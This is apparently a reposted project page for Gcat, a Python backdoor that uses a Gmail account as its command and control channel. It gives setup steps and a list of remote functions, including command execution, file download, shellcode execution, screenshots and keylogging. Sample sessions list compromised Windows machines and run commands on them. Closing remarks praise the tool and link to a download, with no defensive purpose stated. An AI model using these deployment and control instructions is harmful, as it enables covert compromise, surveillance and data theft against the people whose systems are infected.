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Gcat is a stealthy Python based backdoor that uses Gmail as a command and control server by byt3bl33d3r

Setup
For this to work you need:

A Gmail account (Use a dedicated account! Do not use your personal one!)
Turn on "Allow less secure apps" under the security settings of the account
This repo contains two files:

gcat.py a script that's used to enumerate and issue commands to available clients
implant.py the actual backdoor to deploy
In both files, edit the gmail_user and gmail_pwd variables with the username and password of the account you previously setup.

You're probably going to want to compile implant.py into an executable using Pyinstaller

Usage
Gcat

optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-id ID Client to target
-jobid JOBID Job id to retrieve

-list List available clients
-info Retrieve info on specified client

Commands:
Commands to execute on an implant

-cmd CMD Execute a system command
-download PATH Download a file from a clients system
-exec-shellcode FILE Execute supplied shellcode on a client
-screenshot Take a screenshot
-lock-screen Lock the clients screen
-force-checkin Force a check in
-start-keylogger Start keylogger
-stop-keylogger Stop keylogger
Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command:
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
The output is a UUID string that uniquely identifies the system and the OS the implant is running on

Let's issue a command to an implant:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
Here we are telling 90b2cd83-cb36-52de-84ee-99db6ff41a11 to execute ipconfig /all, the script then outputs the jobid that we can use to retrieve the output of that command

Lets get the results!
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'


Windows IP Configuration

Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

-- SNIP --
That's the gist of it! But you can do much more as you can see from the usage of the script!

Download

source

Gmail is one of the most common platforms which is used as a command and control server on windows. For this purpose, the python-based backdoor is used and this link will definitely prove helpful for using Gmail as a control server.

Useful topic.

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